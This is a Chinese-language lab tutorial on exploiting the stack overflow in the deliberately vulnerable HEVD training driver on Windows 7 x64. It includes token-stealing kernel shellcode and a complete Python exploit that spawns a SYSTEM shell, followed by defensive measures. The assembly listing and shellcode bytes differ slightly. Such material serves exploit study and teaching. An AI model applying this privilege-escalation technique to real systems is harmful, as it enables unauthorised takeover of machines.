HEVD内核漏洞 — Windows 7 x86-64 栈溢出
字数 1101 2025-08-24 10:10:13
Windows内核漏洞利用:HEVD驱动栈溢出漏洞分析
1. 漏洞概述
本教学文档详细分析HackSys Extreme Vulnerable Driver (HEVD)在Windows 7 x86-64环境下的栈溢出漏洞。该漏洞存在于驱动程序的TriggerStackOverflow函数中,允许攻击者通过精心构造的缓冲区覆盖返回地址,从而在内核态执行任意代码。
2. 环境准备
2.1 所需工具
- Windows 7 x64虚拟机(测试环境)
- HEVD 2.0驱动
- WinDBG(内核调试)
- Python(用于编写漏洞利用代码)
2.2 驱动安装
- 将HEVD.sys复制到目标系统
- 使用服务管理器注册驱动:
sc create HEVD type= kernel start= demand binPath= C:\path\to\HEVD.sys - 启动驱动:
sc start HEVD
3. 漏洞分析
3.1 漏洞位置
漏洞存在于驱动处理IOCTL 0x222003的代码路径中,具体在TriggerStackOverflow函数内。
3.2 漏洞成因
TriggerStackOverflow函数存在以下关键问题:
- 使用不安全的缓冲区拷贝操作
- 未对用户提供的输入长度进行验证
- 固定大小的栈缓冲区(2048字节)可以被用户控制的数据覆盖
4. 漏洞利用步骤
4.1 触发崩溃
首先构造一个简单的PoC使系统崩溃:
import ctypes
from ctypes import *
kernel32 = windll.kernel32
# 获取驱动句柄
hevd = kernel32.CreateFileA(
"\\\\.\\HackSysExtremeVulnerableDriver",
0xC0000000, 0, None, 0x3, 0, None)
# 创建3000字节的缓冲区
buf = ctypes.create_string_buffer(b"A"*3000)
# 发送IOCTL
kernel32.DeviceIoControl(
hevd, 0x222003,
ctypes.addressof(buf), len(buf)-1,
None, 0, byref(c_ulong()), None)
4.2 确定偏移量
通过模式字符串确定精确的偏移量:
- 使用Metasploit的
pattern_create.rb生成唯一字符串 - 确定返回地址被覆盖的位置为2048字节后
4.3 控制执行流程
构造精确的缓冲区覆盖返回地址:
# 2048字节填充 + 8字节覆盖RBP + 8字节返回地址
buf = create_string_buffer(b"A"*2048 + b"B"*8 + addr)
5. Shellcode开发
5.1 令牌窃取Shellcode
核心shellcode用于提升权限:
; 保存寄存器
push rax
push rcx
push rbx
push rdx
; 获取当前进程EPROCESS
xor rax, rax
mov rax, gs:[rax+0x188] ; KPCR->CurrentThread
mov rax, [rax+0x70] ; CurrentThread->Process
; 查找SYSTEM进程
mov rcx, rax ; 保存当前进程
mov rbx, rcx
and rbx, 0x7 ; 对齐
mov rdx, 4
find_system:
mov rax, [rax+0x188] ; EPROCESS->ActiveProcessLinks
sub rax, 0x188
cmp [rax+0x180], rdx ; EPROCESS->UniqueProcessId == 4?
jne find_system
; 复制SYSTEM令牌
mov rdx, [rax+0x208] ; EPROCESS->Token
and rdx, 0xfffffffffffffff0
or rdx, rbx
mov [rcx+0x208], rdx ; 替换当前进程令牌
; 恢复寄存器
pop rdx
pop rbx
pop rcx
pop rax
5.2 执行恢复代码
为确保系统稳定,需要恢复执行流程:
add rsp, 0x28 ; 恢复栈指针
mov rdi, rbx ; 恢复RDI寄存器
sub rdi, 0xd0 ; RDI = RBX - 0xd0
ret ; 返回正常流程
6. 完整漏洞利用代码
import ctypes, sys, struct
from ctypes import *
from subprocess import *
kernel32 = windll.kernel32
# 获取驱动句柄
hevd = kernel32.CreateFileA(
"\\\\.\\HackSysExtremeVulnerableDriver",
0xC0000000, 0, None, 0x3, 0, None)
if not hevd or hevd == -1:
print("[!] Failed to get driver handle")
sys.exit(1)
# Shellcode: 令牌窃取 + 执行恢复
shellcode = (
# 保存寄存器
b"\x50\x51\x41\x53\x52"
# 令牌窃取逻辑
b"\x48\x31\xC0\x65\x48\x8B\x80\x88\x01\x00\x00"
b"\x48\x8B\x40\x70\x48\x89\xC1\x49\x89\xCB\x49\x83\xE3\x07"
b"\xBA\x04\x00\x00\x00\x48\x8B\x80\x88\x01\x00\x00"
b"\x48\x2D\x88\x01\x00\x00\x48\x39\x90\x80\x01\x00\x00"
b"\x75\xEA\x48\x8B\x90\x08\x02\x00\x00\x48\x83\xE2\xF0"
b"\x4C\x09\xDA\x48\x89\x91\x08\x02\x00\x00"
# 恢复寄存器
b"\x5A\x41\x5B\x59\x58"
# 执行恢复
b"\x48\x83\xc4\x28" # add rsp,0x28
b"\x48\x89\xDF" # mov rdi,rbx
b"\x48\x81\xEF\xD0\x00\x00\x00" # sub rdi,0xd0
b"\xC3" # ret
)
# 分配RWX内存
addr = kernel32.VirtualAlloc(
c_int64(0),
c_int(len(shellcode)),
c_int(0x3000), # MEM_COMMIT | MEM_RESERVE
c_int(0x40)) # PAGE_EXECUTE_READWRITE
if not addr:
print("[!] Failed to allocate RWX memory")
sys.exit(1)
# 复制shellcode到RWX内存
ctypes.memmove(addr, shellcode, len(shellcode))
# 构造缓冲区
buf = create_string_buffer(
b"A"*2048 + # 填充缓冲区
b"B"*8 + # 覆盖RBP
struct.pack("<Q", addr) # 覆盖返回地址
)
# 发送IOCTL
result = kernel32.DeviceIoControl(
hevd, 0x222003,
addressof(buf), len(buf)-1,
None, 0, byref(c_ulong()), None)
if result:
print("[*] Exploit succeeded! Spawning SYSTEM shell.")
Popen("start cmd", shell=True)
else:
print("[!] Exploit failed")
7. 关键点总结
- 偏移量确定:精确控制2048字节填充+8字节RBP覆盖+8字节返回地址
- Shellcode位置:使用
VirtualAlloc分配可执行内存存放shellcode - 寄存器恢复:必须正确恢复RDI寄存器(RBX-0xD0)以避免崩溃
- 执行流恢复:模拟原始函数的栈操作(add rsp, 0x28)
- 权限提升:通过替换进程令牌实现权限提升
8. 防御措施
-
驱动开发者:
- 实现输入长度验证
- 使用安全字符串函数
- 启用GS/栈保护
-
系统管理员:
- 禁用不必要的驱动
- 启用驱动签名验证
- 应用最新安全补丁
-
缓解措施:
- 启用内核ASLR
- 使用SMEP/SMAP防护
- 启用控制流保护(CFG)
通过本教程,您应该能够理解Windows内核栈溢出漏洞的原理及利用方法,并掌握HEVD驱动中该漏洞的完整利用过程。